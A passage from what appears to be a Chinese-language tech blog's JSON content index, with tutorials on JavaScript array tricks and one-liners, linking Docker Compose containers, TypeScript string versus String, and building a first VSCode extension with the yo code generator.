4: \u0026#34;apple\u0026#34;, 5: \u0026#34;orange\u0026#34;, 6: \u0026#34;grape\u0026#34;, 7: \u0026#34;apple\u0026#34;} 陣列塞滿資料 有時需要把一個陣列塞滿某些資料。使用 .fill() 可以快速完成這任務：\n1 2 var newArray = new Array(10).fill(\u0026#34;1\u0026#34;); console.log(newArray); // returns [\u0026#34;1\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;1\u0026#34;] 合併陣列 老方法是使用 .concat() 來合併。但有個新方法，就是用 \u0026hellip; 展開運算子，非常簡單俐落：\n1 2 3 4 5 var fruits = [\u0026#34;apple\u0026#34;, \u0026#34;banana\u0026#34;, \u0026#34;orange\u0026#34;]; var meat = [\u0026#34;poultry\u0026#34;, \u0026#34;beef\u0026#34;, \u0026#34;fish\u0026#34;]; var vegetables = [\u0026#34;potato\u0026#34;, \u0026#34;tomato\u0026#34;, \u0026#34;cucumber\u0026#34;]; var food = [...fruits, ...meat, ...vegetables]; console.log(food); // [\u0026#34;apple\u0026#34;, \u0026#34;banana\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;poultry\u0026#34;, \u0026#34;beef\u0026#34;, \u0026#34;fish\u0026#34;, \u0026#34;potato\u0026#34;, \u0026#34;tomato\u0026#34;, \u0026#34;cucumber\u0026#34;] 找出陣列交集 這也是 JavaScript 面試最常見的問題。這邊使用 filter 跟 .includes() 來完成這任務。\n1 2 3 4 var numOne = [0, 2, 4, 6, 8, 8]; var numTwo = [1, 2, 3, 4, 5, 6]; var duplicatedValues = [...new Set(numOne)].filter(item =\u0026gt; numTwo.includes(item)); console.log(duplicatedValues); // returns [2, 4, 6] 把 false 相關的值從陣列移除 false 相關值包含 false、0、\u0026quot;\u0026quot;、null、NaN、undefined。\n使用 .filter() 可以俐落地過濾陣列。\n1 2 3 var mixedArr = [0, \u0026#34;blue\u0026#34;, \u0026#34;\u0026#34;, NaN, 9, true, undefined, \u0026#34;white\u0026#34;, false]; var trueArr = mixedArr.filter(Boolean); console.log(trueArr); // returns [\u0026#34;blue\u0026#34;, 9, true, \u0026#34;white\u0026#34;] 從陣列撈出隨機元素 有時需要隨機撈元素出來。根據陣列長度，隨機撈一個索引出來，就可以囉。\n1 2 var colors = [\u0026#34;blue\u0026#34;, \u0026#34;white\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;navy\u0026#34;, \u0026#34;pink\u0026#34;, \u0026#34;purple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;yellow\u0026#34;, \u0026#34;black\u0026#34;, \u0026#34;brown\u0026#34;]; var randomColor = colors[(Math.floor(Math.random() * (colors.length)))] 逆轉陣列 不需要複雜的迴圈跟函數，也能逆轉一個陣列。這樣一行就可以：\n1 2 3 var colors = [\u0026#34;blue\u0026#34;, \u0026#34;white\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;navy\u0026#34;, \u0026#34;pink\u0026#34;, \u0026#34;purple\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;yellow\u0026#34;, \u0026#34;black\u0026#34;, \u0026#34;brown\u0026#34;]; var reversedColors = colors.reverse(); console.log(reversedColors); // returns [\u0026#34;brown\u0026#34;, \u0026#34;black\u0026#34;, \u0026#34;yellow\u0026#34;, \u0026#34;orange\u0026#34;, \u0026#34;purple\u0026#34;, \u0026#34;pink\u0026#34;, \u0026#34;navy\u0026#34;, \u0026#34;green\u0026#34;, \u0026#34;white\u0026#34;, \u0026#34;blue\u0026#34;] .lastIndexOf() 方法 這個有趣的方法，可以找到特定元素最後一次出現的索引。如果陣列中有重複值，就可用上這方法。\n1 2 3 var nums = [1, 5, 2, 6, 3, 5, 2, 3, 6, 5, 2, 7]; var lastIndex = nums.lastIndexOf(5); console.log(lastIndex); // returns 9 陣列中全部數值加總 這也是面試常見考題。使用 .reduce 可以快速解決這問題。\n1 2 3 var nums = [1, 5, 2, 6]; var sum = nums.reduce((x, y) =\u0026gt; x + y); console.log(sum); // returns 14 ","date":"2022-12-05T00:00:00Z","image":"https://live.staticflickr.com/65535/52544052174_68e62fb7f8_o.png","permalink":"https://blog.wayne-project.com/2022-12-05/js-13-useful-array-tricks/","title":"JavaScript 中關於 Array 的 13 個入門小技巧！"},{"content":" 參考網站\n參考網站\n一行程式碼有時可以做到很多事。這邊有七個小任務都用一行就可以完成，給您參考！\n洗亂陣列 在需要將陣列隨機打亂的時候，這行會很好用。\n1 2 3 4 5 const shuffleArray = (arr) =\u0026gt; arr.sort(() =\u0026gt; Math.random() - 0.5); // Testing const arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]; console.log(shuffleArray(arr)); 複製到剪貼板 在寫網站功能的時候，有時會需要這個功能。\n1 2 3 4 5 const copyToClipboard = (text) =\u0026gt; navigator.clipboard?.writeText \u0026amp;\u0026amp; navigator.clipboard.writeText(text); // Testing copyToClipboard(\u0026#34;Hello World!\u0026#34;); 不重複元素 每種語言都有實作自己的 Hash List，在 JavaScript 中，叫做 Set。可以使用 Set Data Structure 輕鬆地找出不重複元素。\n1 2 3 4 5 const getUnique = (arr) =\u0026gt; [...new Set(arr)]; // Testing const arr = [1, 1, 2, 3, 3, 4, 4, 4, 5, 5]; console.log(getUnique(arr)); 檢測深色模式 深色模式日益流行，如果用戶在他們的設備中啟用了深色模式，最好將您的應用程序也切換到深色模式。\n1 2 3 4 5 6 const isDarkMode = () =\u0026gt; window.matchMedia \u0026amp;\u0026amp; window.matchMedia(\u0026#34;(prefers-color-scheme: dark)\u0026#34;).matches; // Testing console.log(isDarkMode()); 滑到頂部 新手常常發現滑動元素很難做。最簡單的方法是使用 scrollIntoView。\n加上 behavior 可以讓動畫更流暢。\n1 2 const scrollToTop = (element) =\u0026gt; element.scrollIntoView({ behavior: \u0026#34;smooth\u0026#34;, block: \u0026#34;start\u0026#34; }); 滑到底部 一樣使用 scrollIntoView 就可以，只需要將 block 值改成 end。\n1 2 const scrollToBottom = (element) =\u0026gt; element.scrollIntoView({ behavior: \u0026#34;smooth\u0026#34;, block: \u0026#34;end\u0026#34; }); 產生隨機顏色 如果您需要隨機色碼，可以參考這段：\n1 2 const generateRandomHexColor = () =\u0026gt; `#${Math.floor(Math.random() * 0xffffff).toString(16)}`; ","date":"2022-12-05T00:00:00Z","image":"https://live.staticflickr.com/65535/52544218553_b60d2ccdec_o.jpg","permalink":"https://blog.wayne-project.com/2022-12-05/js-7-killer-one-liners/","title":"一行 JavaScript 就能完成的 7 個小任務！"},{"content":" 參考網站\n在 Docker 中，容器之間的鏈接是一種很常見的操作，它提供了訪問其中的某個容器的網絡服務而不需要將所需的端口暴露給 Docker Host 主機的功能。Docker Compose 中對該特性的支持同樣是很方便的。然而，如果需要鏈接的容器沒有定義在同一個 docker-compose.yml 中的時候，這個時候就稍微麻煩複雜了點。\n不使用 Docker Compose 在不使用Docker Compose的時候，將兩個容器鏈接起來使用—link參數，相對來說比較簡單，以nginx鏡像為例子：\n1 2 docker run --rm --name test1 -d nginx # 開啟一個實例test1 docker run --rm --name test2 --link test1 -d nginx # 開啟一個實例test2並與test1建立鏈接 這樣，test2 與 test1 便建立了鏈接，就可以在 test2 中使用訪問 test1 中的服務了。\n使用Docker Compose 如果使用 Docker Compose，那麼這個事情就更簡單了，還是以上面的 nginx 鏡像為例子，編輯 docker-compose.yml 文件為：\ndocker-compose.yml 1 2 3 4 5 6 7 8 9 10 version: \u0026#34;3\u0026#34; services: test2: image: nginx depends_on: - test1 links: - test1 test1: image: nginx 最終效果與使用普通的 Docker 命令 docker run xxxx 建立的鏈接並無區別。這只是一種最為理想的情況。\n問題 如果容器沒有定義在同一個 docker-compose.yml 文件中，應該如何鏈接它們呢？ 如果定義在 docker-compose.yml 文件中的容器需要與 docker run xxx 啟動的容器鏈接，需要如何處理？ 方法一：讓需要鏈接的容器同屬一個外部網絡 我們還是使用 nginx 鏡像來模擬這樣的一個情景：假設我們需要將兩個使用 Docker Compose 管理的 nignx 容器(test1和test2)鏈接起來，使得 test2 能夠訪問 test1 中提供的服務，這裡我們以能 ping 通為準。\n首先，我們定義容器 test1 的 docker-compose.yml 文件內容為：\ndocker-compose.yml 1 2 3 4 5 6 7 8 9 10 11 version: \u0026#34;3\u0026#34; services: test2: image: nginx container_name: test1 networks: - default - app_net networks: app_net: external: true 容器 test2 內容與 test1 基本一樣，只是多了一個 external_links。\n需要特別說明的是：最近發布的 Docker 版本已經不需要使用 external_links 來鏈接容器，容器的 DNS 服務可以正確的作出判斷，因此如果你你需要兼容較老版本的 Docker 的話，那麼容器 test2 的 docker-compose.yml 文件內容為：\ndocker-compose.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 version: \u0026#34;3\u0026#34; services: test2: image: nginx networks: - default - app_net external_links: - test1 container_name: test2 networks: app_net: external: true 否則的話，test2 的 docker-compose.yml 和 test1 的定義完全一致，不需要額外多指定一個 external_links。相關的問題請參見 stackoverflow 上的相關問題：docker-compose + external container\n正如你看到的那樣，這裡兩個容器的定義裡都使用了同一個外部網絡 app_net，因此，我們需要在啟動這兩個容器之前通過以下命令再創建外部網絡：\n1 docker network create app_net 之後，通過 docker-compose up -d 命令啟動這兩個容器，然後執行 docker exec -it test2 ping test1，你將會看到如下的輸出：\n1 2 3 4 5 6 7 8 $ docker exec -it test2 ping test1 PING test1 (172.18.0.2): 56 data bytes 64 bytes from 172.18.0.2: icmp_seq=0 ttl=64 time=0.091 ms 64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.146 ms 64 bytes from 172.18.0.2: icmp_seq=2 ttl=64 time=0.150 ms 64 bytes from 172.18.0.2: icmp_seq=3 ttl=64 time=0.145 ms 64 bytes from 172.18.0.2: icmp_seq=4 ttl=64 time=0.126 ms 64 bytes from 172.18.0.2: icmp_seq=5 ttl=64 time=0.147 ms 證明這兩個容器是成功鏈接了，反過來在 test1 中 ping test2 也是能夠正常 ping 通的。\n如果我們通過 docker run --rm --name test3 -d nginx 這種方式來先啟動了一個容器(test3)，並且沒有指定它所屬的外部網絡，而需要將其與 test1 或者 test2 鏈接的話，這個時候手動鏈接外部網絡即可：\n1 docker network connect app_net test3 這樣，三個容器都可以相互訪問了。\n方法二：更改需要鏈接的容器的網絡模式 通過更改你想要相互鏈接的容器的網絡模式為 bridge，並指定需要鏈接的外部容器(external_links)即可。\n與同屬外部網絡的容器可以相互訪問的鏈接方式一不同，這種方式的訪問是單向的。\n還是以 nginx 容器鏡像為例子，如果容器實例 nginx1 需要訪問容器實例 nginx2，那麼 nginx2 的 docker-compose.yml 定義為：\ndocker-compose.yml 1 2 3 4 5 6 version: \u0026#34;3\u0026#34; services: nginx2: image: nginx container_name: nginx2 network_mode: bridge 與其對應的，nginx1 的 docker-compose.yml 定義為：\ndocker-compose.yml 1 2 3 4 5 6 7 8 version: \u0026#34;3\u0026#34; services: nginx1: image: nginx external_links: - nginx2 container_name: nginx1 network_mode: bridge 需要特別說明的是，這裡的 external_links 是不能省略的，而且 nginx1 的啟動必須要在 nginx2 之後，否則可能會報找不到容器 nginx2 的錯誤。\n接著我們使用 ping 來測試下連通性：\n1 2 3 4 5 6 7 8 $ docker exec -it nginx1 ping nginx2 # nginx1 to nginx2 PING nginx2 (172.17.0.4): 56 data bytes 64 bytes from 172.17.0.4: icmp_seq=0 ttl=64 time=0.141 ms 64 bytes from 172.17.0.4: icmp_seq=1 ttl=64 time=0.139 ms 64 bytes from 172.17.0.4: icmp_seq=2 ttl=64 time=0.145 ms $ docker exec -it nginx2 ping nginx1 #nginx2 to nginx1 ping: unknown host 以上也能充分證明這種方式是屬於單向聯通的。\n在實際應用中根據自己的需要靈活的選擇這兩種鏈接方式，如果想偷懶的話，大可選擇第二種。不過我更推薦第一種，不難看出無論是聯通性還是靈活性，較為更改網絡模式的第二種都更為友好。\n","date":"2022-12-04T00:00:00Z","image":"https://live.staticflickr.com/65535/52565233288_251b1a5202_o.jpg","permalink":"https://blog.wayne-project.com/2022-12-04/docker-compose-link-external-comtainer/","title":"Docker Compose 鏈接外部容器的幾種方式"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n背景 與 JavaScript 語言不同的是，TypeScript 使用的是靜態型別(強型別)，比如說它指定了變數可以儲存的資料型別。\n如下圖所示，如果在 JS 中，指定變數可以儲存的資料型別，會報錯：“型別註釋只可以在TS檔案中被使用”：\nTypeScript 是 JavaScript 的超集(superset)，TypeScript 需要編譯(語法轉換)生成 JavaScript 才能被瀏覽器執行，它也區分了 string 和 String 這兩個資料型別。通常來說，string 表示原生型別，而 String 表示物件。\n原生 string JavaScript 在 ES6 標準裡支援6種原生型別，string 是其中之一。\n1 2 3 4 5 6 let testVar1: number = 19; let testVar2: boolean = true; let testVar3: string =\u0026#34;Hi Wayne!\u0026#34;; let testVar4: null = null; let testVar5: undefined = undefined; let testVar6: object = new String(\u0026#34;Wayne Cloud!\u0026#34;); 原生的 string 是不包含屬性的值(即沒有properties)，包括字面上沒有定義型別、字面上定義了 string、字面上定義了 String和一些從 string 函式呼叫返回的 strings 也都可以被歸為原生型別：\n1 2 3 let msg1: string = \u0026#34;Hello world!\u0026#34;; let msg2: string = \u0026#34;Hello world!\u0026#34;; let msg22 = returnStr(); 以上三個變數的型別(typeof())是 string。\n物件 String 物件是不同屬性的累積，一個物件可以呼叫許多相應的方法。\n1 let msg3: String = new String(\u0026#39;Hello world!\u0026#39;); 這個變數 msg3 的型別就是 object：\n1 console.log(typeof(msg3)); // object String 物件支援的方法：\nNo. Method Description 1. charAt() charAt() 方法從一個字符串中返回指定的字符 2. charCodeAt() charCodeAt() 方法返回 0 到 65535 之間的整數，表示給定索引處的 UTF-16 代碼單元 3. concat() concat() 方法將一個或多個字符串與原字符串連接合併，形成一個新的字符串並返回 4. indexOf() indexOf() 方法，給定一個參數：要搜索的子字符串，搜索整個調用字符串，並返回指定子字符串第一次出現的索引。給定第二個參數：一個數字，該方法將返回指定子字符串在大於或等於指定數字的索引處的第一次出現 5. lastIndexOf() lastIndexOf() 方法返回調用 String 對象的指定值最後一次出現的索引，在一個字符串中的指定位置 fromIndex 處從後向前搜索。如果沒找到這個特定值則返回 -1。該方法將從尾到頭地檢索字符串 str，看它是否含有子串 searchValue。開始檢索的位置在字符串的 fromIndex 處或字符串的結尾(沒有指定 fromIndex 時)。如果找到一個 searchValue，則返回 searchValue 的第一個字符在 str 中的位置。 str 中的字符位置是從 0 開始的 6. localeCompare() localeCompare() 方法返回一個數字來指示一個參考字符串是否在排序順序前面或之後或與給定字符串相同。新的 locales 和 options 參數能讓應用程序定制函數的行為，即指定用來排序的語言。 locales 和 options 參數完全取決於實現，在舊的實現中忽略這兩個參數 7. match() match() 方法檢索返回一個字符串匹配正則表達式的結果 8. replace() replace() 方法返回一個由替換值(replacement)替換部分或所有的模式(pattern)匹配項後的新字符串。模式可以是一個字符串或者一個正則表達式，替換值可以是一個字符串或者一個每次匹配都要調用的回調函數。如果 pattern 是字符串，則僅替換第一個匹配項 9. search() search() 方法執行正則表達式和 String 對象之間的一個搜索匹配 10. slice() slice() 方法提取某個字符串的一部分，並返回一個新的字符串，且不會改動原字符串 11. split() split() 方法使用指定的分隔符字符串將一個 String 對象分割成子字符串數組，以一個指定的分割字串來決定每個拆分的位置 12. substr() substr() 方法返回一個字符串中從指定位置開始到指定字符數的字符 13. substring() substring() 方法返回一個字符串在開始索引到結束索引之間的一個子集，或從開始索引直到字符串的末尾的一個子集 14. toLocaleLowerCase() toLocaleLowerCase() 方法根據任何指定區域語言環境設置的大小寫映射，返回調用字符串被轉換為小寫的格式 15. toLocaleUpperCase() toLocaleUpperCase() 方法根據本地主機語言環境把字符串轉換為大寫格式，並返迴轉換後的字符串 16. toLowerCase() toLowerCase() 會將調用該方法的字符串值轉為小寫形式，並返回 17. toString() 字符串對象的 toString() 方法返回一個字符串，表示指定的字符串 18. toUpperCase() toUpperCase() 方法將調用該方法的字符串轉為大寫形式並返回(如果調用該方法的值不是字符串類型會被強制轉換) 19. valueOf() valueOf() 方法返回 String 對象的原始值 程式碼對比 我們對下面4個變數進行型別的探索與比較：\n1 2 3 4 5 6 7 8 9 10 11 12 let msg: string = \u0026#39;Hello world!\u0026#39;; let msg2: String = \u0026#39;Hello world!\u0026#39;; let msg22 = \u0026#39;Hello world!\u0026#39;; // 字面上沒有定義型別 let msg3: String = new String(\u0026#39;Hello world!\u0026#39;); console.log(typeof(msg)); // string console.log(typeof(msg2)); // string console.log(typeof(msg22)); // string console.log(typeof(msg3)); // object console.log(msg === msg2); // true console.log(msg === msg3); // false console.log(msg2 === msg3); // false 為什麼需要 String 物件 首先，當我們使用關鍵字 new 新建一個 String 物件的時候，Typescript 會建立一個新的物件；\n即我們用 new 新建了兩個 String 物件，即使內容相同，它們也是指向不同的記憶體。\n舉下面兩個例子：\n當用 a1、b1 代表相同值的兩個變數的時候，它們是相同的；而當用 new 新建兩個物件的時候，即使值相同，它們也是不同的： 1 2 3 4 5 6 7 let a1 = \u0026#34;Hello World\u0026#34;; let b2 = \u0026#34;Hello World\u0026#34;; console.log(a1 === b1); // true let a2 = new String(\u0026#34;Hello World\u0026#34;); let b2 = new String(\u0026#34;Hello World\u0026#34;); console.log(a2 === b2); // false eval() 函式的作用：用來計算表示式的值。如果我們把 eval() 直接賦給 string，而 string 裡面是計算式的字串，那麼它會返回計算後的值；而如果我們把 eval() 賦給 String，因為它不是原生型別，它只會返回 String 這個物件： 1 2 3 4 5 6 let a3 = \u0026#34;3 * 9\u0026#34;; console.log(eval(a3)); // 27 let b3 = new String(\u0026#34;8 + 20\u0026#34;); console.log(eval(b3)); // Warning：Argument of type \u0026#39;String\u0026#39; is not assignable to parameter of type \u0026#39;string\u0026#39;. \u0026#39;string\u0026#39; is a primitive, but \u0026#39;String\u0026#39; is a wrapper object. Prefer using \u0026#39;string\u0026#39; when possible.ts(2345) console.log(eval(b3.toSTring())); // 28 其次，因為 String 物件可以有屬性。我們可以用 String 物件在屬性裡保留一個額外的值。即使這個用法並不常見，但是仍然是 TS 的一個特性： 1 2 3 4 5 6 let prim = \u0026#39;hello Wayne\u0026#39;; let obj = new String(\u0026#39;hello Wayne Cloud\u0026#39;); prim.property = \u0026#39;PaaS\u0026#39;; // Invalid obj.property = \u0026#39;PaaS\u0026#39;; // Valid console.log(obj.property); // 輸出為 PaaS 兩者區別總結 string 原生型別 String 物件 廣泛被使用 幾乎很少被使用 只會保留值 有能力除了值之外，還可以保留屬性 值是不可變的，因此執行緒安全 String物件是可變的 沒有任何方法 String物件有各種方法 不能建立兩個獨立的字面上值相同的 string 可以用 new 建立兩個物件 是原生的資料型別 包裝原生資料型別來建立一個物件 傳遞的值是原生資料本身的拷貝 傳遞的值是實際資料的引用 當使用 eval() 函式時，將直接作為原始碼進行處理 當使用 eval() 函式時，將被轉換為字串 ","date":"2022-11-28T00:00:00Z","image":"https://live.staticflickr.com/65535/52549840532_0ea4bef6e7_o.png","permalink":"https://blog.wayne-project.com/2022-11-28/ts-string-type-vs-class/","title":"TypeScript 裡 string 和 String，還真不僅僅是大小寫的區別！"},{"content":" 參考網站\n參考網站\n參考網站\n前言 VScode 使用者一定會安裝各種 Extension 來建立一個適合自己的開發環境，而這些強大的 Extension 大部分都由世界各地的愛用者開發並發布(publish) ，一切都是為了要讓 VSCode 更加實用上手甚至美觀。\n這篇就是要分享如何建立並發佈一個 Extension，英文程度不錯的建議直接閱讀官方文件，會有更加詳細的解說\n開發環境配置 在開始前，請照下方指示正確設置自己的環境。\n確認已安裝 nodejs 與 npm 1 node -v \u0026amp;\u0026amp; npm -v 如未安裝兩者，請先至 Nodejs 官方網站 下載。npm 會隨著 nodejs 下載一併被安裝，有時候您可能使用過舊的 npm，這時您可以使用以下指令更新它到最新版。\n1 npm install -g npm@latest 如果正確安裝了以上兩者，會跳出兩行版本號資訊。\nexport： 1 2 v16.15.0 8.15.1 安裝 yoman Yoman 是一款流行已久的code generator，可以允許我們使用yoman設置專案的樣板， 並讓我們使用 yo 指令快速產生樣板專案。\nVSCode 官方已經發布了 VSCode Yoman 專案，並且定期更新，因此我們可以直接使用 yo 指令產生 VSCode Extension，無需手動開發 yoman 樣板。\n請使用以下指令安裝yoman與VSCode Extension Generator：\n1 npm install -g yo generator-code 安裝 yoman 後，再次使用版本號指令確認有無正確安裝：\n1 yo --version 使用 yo 快速產生第一個 Extension 專案 首先，於 terminal 進入一個要放置專案的資料夾後，使用指令：\n1 yo code generator 會跳出提示，讓我們選擇要產生的 extension 種類：\n這些 Extension 選項的描述與說明如下：\nExtension 選項 描述 New Extension(Typescript) 產生使用typescript開發的extension專案 New Extension(Javascript) 產生使用javascript開發的extension專案 New Color Theme 配置VSCode介面顏色的擴充套件專案(詳見: Color Theme) New Language Support 程式語言(Programming Languages)擴充套件 New Code Snippets 程式碼片段擴充套件 New Keymap 快捷鍵擴充套件，keymap讓使用者得以在vscode中使用vim、sublime等等不同編輯器的快捷鍵開發。 New Extension Pack 打包多個已發佈的extension，讓使用者一鍵快速安裝。 New Language Pack (Localization) 配置VSCode編輯器多國語氣的擴充套件。 我們依序輸入如下：\nWhat type of extension do you want to create?\n選擇你要建立的專案類型\n這邊我選擇第一個 New Extension(Typescript) 選項\nWhat’s the name of your extension?\nExtension 名稱: 對應到 package.json \u0026ldquo;displayName\u0026rdquo;\n這裡我輸入： wconvert\nWhat’s the identifier of your extension?\n識別碼：對應到 package.json \u0026ldquo;name\u0026rdquo;\n這裡我輸入： wconvert\nWhat’s the description of your extension?\n描述: 對應到 package.json \u0026ldquo;description\u0026rdquo;\n這裡我輸入： my first vscode extension practice.\nInitialize a git repository?\n是否要使用 git\nBundle the source code with webpack?\n是否要使用 webpack 做原始碼的 bundle\nWhich package manager to use?\n要使用哪個套件管理工具\n讓子彈飛一會兒，最後 generator 會詢問是否使用 vscode 打開，這邊選擇打開。\nExtension 專案重點相關檔案介紹 打開後，我們會看到一個 nodejs 的 typescript 專案，結構如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ├── .vscode │ ├── extensions.json │ ├── launch.json │ ├── settings.json │ └── tasks.json ├── node_modules ├── src │ ├── extension.ts │ └── test │ ├── runTest.ts │ └── suite │ ├── extension.test.ts │ └── index.ts ├── .eslintrc.json ├── .gitignore ├── .vscodeignore ├── CHANGELOG.md ├── README.md ├── package-lock.json ├── package.json ├── tsconfig.json └── vsc-extension-quickstart.md .vscode/*： workspace 設定 檔案名稱 說明 task.json 設定 defaultBuild Task，用於 compile extension 專案的 typescript 程式。 launch.json 配置 debug mode 的兩個選項：Run extension 與 Test extension，用於執行 extension 主程式與相關測試程式，程式執行前，會先執行 defulat buildTask。 settings.json extension 專案的設定檔，此處的設定會覆蓋 user settings 跟 default settings。 extensions.json 設定用於輔助 extension 專案安裝的 extension recommendations list，此處推薦安裝 eslint extension。 src/extensions.ts： 主程式檔案 src/test.ts： 測試程式檔案 .eslintrc.json： 用於 extension 專案的 eslint 設置 .vscodeignore： 用於忽略不打包進發布套件的專案檔案 tsconfig.json： 用於專案 ts compiler 的設定選項 package.json： 用於配置 node 相關依賴與相關 npm script，在 extension 專案裡，package.json 亦用於配置 extension 重要相關設定 (詳見: Extension Manifest) vsc-extension-quickstart.md： 產生的 extension 專案的 markdown 說明文件 Extension 專案程式簡介 讓我們打開 extension.ts 吧，打開後可以看見 extension.ts 裡面有個 active function 跟 deactive function。\nactive function 為 extension 程式的進入點。當 extension 被 active 事件啟動時，即會執行 extension 程式。\n因此我們可以查看 pakcage.json，package.json 配置了 activeEvents 清單，可以看到清單裡列出跟active 有關的設定 activationEvents。\npackage.json 1 2 3 4 5 6 7 { // ... \u0026#34;activationEvents\u0026#34;: [ \u0026#34;onCommand:wconvert.helloWorld\u0026#34; ], // ... } activationEvents 指定了一個 hello world command，此即是說，當使用者執行 hello world command 時，extension 即會活躍並執行 active function。\n此處的 onCommand 語法為：\n1 onCommand: ${commandId} 那麼，command 的 id 是在哪裡配置的呢？\n一樣是在 package.json 裡，我們可以到 contributes 屬性 (Contribution Point: 詳見 Contribution Point) 下面查看：\npackage.json 1 2 3 4 5 6 7 8 9 10 11 12 { // ... \u0026#34;contributes\u0026#34;: { \u0026#34;commands\u0026#34;: [ { \u0026#34;command\u0026#34;: \u0026#34;wconvert.helloWorld\u0026#34;, \u0026#34;title\u0026#34;: \u0026#34;Hello World\u0026#34; } ] }, // ... } 可以看到在 contrubutes 屬性下面已經配置了 commands 清單，裡面條列著一個 command 設定，此處 command 設定的語法為：\n1 2 3 4 5 6 7 { /** * 被產生的Command會預設使用extension的id作為namespace，亦可自訂其他Namespace名稱 */ \u0026#34;command\u0026#34;: ${自定義的command-id}, \u0026#34;title\u0026#34;: ${Command的標題內容} } 當我們使用 Command Palette (Cmd/Ctrl + Shift + P) 搜尋 Command 並執行時，是使用 Command 的 Title 搜尋。\n好，現在我們已經了解如何在 Contribution Point 設定簡單的 Command id 跟 title，以及設定它為活躍 extension 的 event。現在回到 extension.ts 的 active function 吧！\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 export function activate(context: vscode.ExtensionContext) { // Use the console to output diagnostic information (console.log) and errors (console.error) // This line of code will only be executed once when your extension is activated console.log(\u0026#39;Congratulations, your extension \u0026#34;wconvert\u0026#34; is now active!\u0026#39;); // The command has been defined in the package.json file // Now provide the implementation of the command with registerCommand // The commandId parameter must match the command field in package.json let disposable = vscode.commands.registerCommand(\u0026#39;wconvert.helloWorld\u0026#39;, () =\u0026gt; { // The code you place here will be executed every time your command is executed // Display a message box to the user vscode.window.showInformationMessage(\u0026#39;Hello World from wconvert!\u0026#39;); }); context.subscriptions.push(disposable); } 我們可以看到，active function 裡面在 extenions 活躍後將註冊我們在 Contribution Point 那邊設定的 command id，並且有一個 callback 函式，當我們配置的 command 執行之後，即會在 vscode 裡跳出顯示「Hello World from day05-first-command!」的訊息。\n這個註冊過後的 command 函式 (disposable) 會再 push 進 extension context 裡面，如此當 extension 被關閉後，VSCode 就可以自動釋放 listen 這個 command 的相關資源。\n執行 extension 專案應用程式 讓我們來執行 extension 吧，vscode 專案已經幫我們配置好了 lanunch.json，因此我們可以在 debug mode 裡執行 extension。讓我們點開「Run and Debug」，再點擊 sidebar 上方的 Run Extension 旁的執行按鈕開始 extension 吧！(此處的快捷鍵為 F5)\n執行後，vscode 會開啟一個新的 vscode 的 window 視窗，window 視窗上的 title 會註明這個視窗為 [Extension Development Host] 並預設載入 extension 了，我們可以在這個視窗操作我們開發中的 extension，並且使用中斷點偵錯。\n檢查已被註冊的 command 先來檢查一下剛才註冊的 command，在 Contribution Point 裡宣告的 Command，一樣在 Keyboard Shortcuts 下方可以搜尋的到。從 Manager \u0026gt; Keyboard Shortcuts 進入 Keyboard Shortcuts 頁中，並在搜尋條上輸入 wconvert，使用 extension id 來列出剛才註冊的 command。\n輸入後我們可以看到，Command 已正確被註冊。\n執行註冊後的 Command 現在，我們打開 Command Palette (快捷鍵：Cmd/Ctrl + Shift + P)，輸入 hello world，使用註冊的 Command Title 查找到 command。\n然後，點擊下去，我們可以看到 vscode 的 window 正確跳出「Hello World from day05-first-command!」訊息。\n然後，我們回到原本專案的 Vscode Window，我們可以在專案的 debug console 檢視 active function 下面的 console.log 訊息。\n加入套件邏輯 這邊可以依照你的需求進行套件邏輯的開發，我只是寫來玩而已，此處參考即可！\n註冊自己想要使用的 Command 我打算製作以下幾個功能：\n輸入指定的時間格式，會在當前檔案指標位置插入產生的時間戳 輸入指定的時間格式，僅會在vscode 的 window 顯示 將選取起來的時間戳，轉換為指定時區的時間格式(這邊以 YYYY-MM-DD hh:mm:ss.milsecond 格式為主) 附上完成後的程式碼：\nextension.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import * as vscode from \u0026#39;vscode\u0026#39;; export function activate(context: vscode.ExtensionContext) { const input = async (placeHolder: string) =\u0026gt; await vscode.window.showInputBox({ placeHolder }) || \u0026#39;\u0026#39;; function pad(num: string | number, size: number): string { num = num.toString(); while (num.length \u0026lt; size) { num = \u0026#34;0\u0026#34; + num; } return num; } // show timestamp at vscode Information Window function showTimestamp(datetime: string) { let timestamp: number | undefined = NaN; try { timestamp = new Date(datetime).getTime(); if (typeof timestamp !== \u0026#34;number\u0026#34; || isNaN(timestamp) || timestamp.toString() === \u0026#34;NaN\u0026#34;) { return askDateTime(); }; vscode.window.showInformationMessage(timestamp.toString()); } catch(e) { console.log(e); vscode.window.showErrorMessage(\u0026#34;Invalid Date.\u0026#34;); askDateTime(); } } // create input with asking DateTime async function askDateTime() { const fullDateTime = await input(\u0026#34;DateTime (format: YYYY-MM-DD hh:mm:ss.ms) (example: 2022-12-31 23:59:59.999)：\u0026#34;); if (fullDateTime) { showTimestamp(fullDateTime); } } // Insert timestamp at cursor position vscode.commands.registerTextEditorCommand(\u0026#34;wconvert.genTimestamp\u0026#34;, async (editor, edit) =\u0026gt; { const fullDateTime = await input(\u0026#34;DateTime (format: YYYY-MM-DD hh:mm:ss.ms) (example: 2022-12-31 23:59:59.999)：\u0026#34;); if (!fullDateTime) { return; } try { let timestamp = new Date(fullDateTime).getTime(); if (!isNaN(timestamp) \u0026amp;\u0026amp; typeof timestamp === 